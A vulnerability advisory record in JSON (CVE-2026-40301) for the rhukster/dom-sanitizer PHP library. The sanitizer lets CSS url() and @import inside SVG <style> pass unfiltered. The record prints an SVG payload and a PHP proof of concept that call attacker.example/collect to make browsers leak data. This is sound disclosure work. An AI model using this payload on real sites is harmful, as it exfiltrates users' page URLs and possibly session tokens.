{"id":"CVE-2026-40301","aliases":["CVE-2026-40301","GHSA-93vf-569f-22cq"],"related":[],"kind":"vulnerability","state":"published","title":"rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives","summary":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n  <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.","format":"markdown","source":"ghsa"},{"lang":"es","text":"DOMSanitizer es un saneador de DOM/SVG/MathML para PHP 7.3+. Antes de la versión 1.0.10, DOMSanitizer::sanitize() permite elementos [style] en contenido SVG pero nunca inspecciona su contenido de texto. Las referencias CSS url() y las reglas @import pasan sin filtrar, lo que hace que el navegador emita solicitudes HTTP a hosts controlados por el atacante cuando se renderiza el SVG saneado. La versión 1.0.10 soluciona el problema.","source":"nvd"}],"published":"2026-04-10T21:08:30.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","score":4.7,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","score":4.7,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","score":4.7,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 1.0.10","status":"affected"}],"vendor":"rhukster","product":"dom-sanitizer","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.0.10"}],"ecosystem":"Packagist","package":"rhukster/dom-sanitizer","purl":"pkg:composer/rhukster/dom-sanitizer","source":"ghsa"}],"references":[{"url":"https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/rhukster/dom-sanitizer","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-20T14:42:31.756Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40301","url":"https://www.cve.org/CVERecord?id=CVE-2026-40301","licence":"CVE Terms of Use","modified":"2026-04-20T14:57:39.192Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-93vf-569f-22cq","url":"https://github.com/advisories/GHSA-93vf-569f-22cq","licence":"CC-BY-4.0","modified":"2026-05-05T16:04:51.849Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:18.968Z","epss":{"score":0.00455,"percentile":0.31455,"date":"2026-11-30T12:00:22.000Z"}}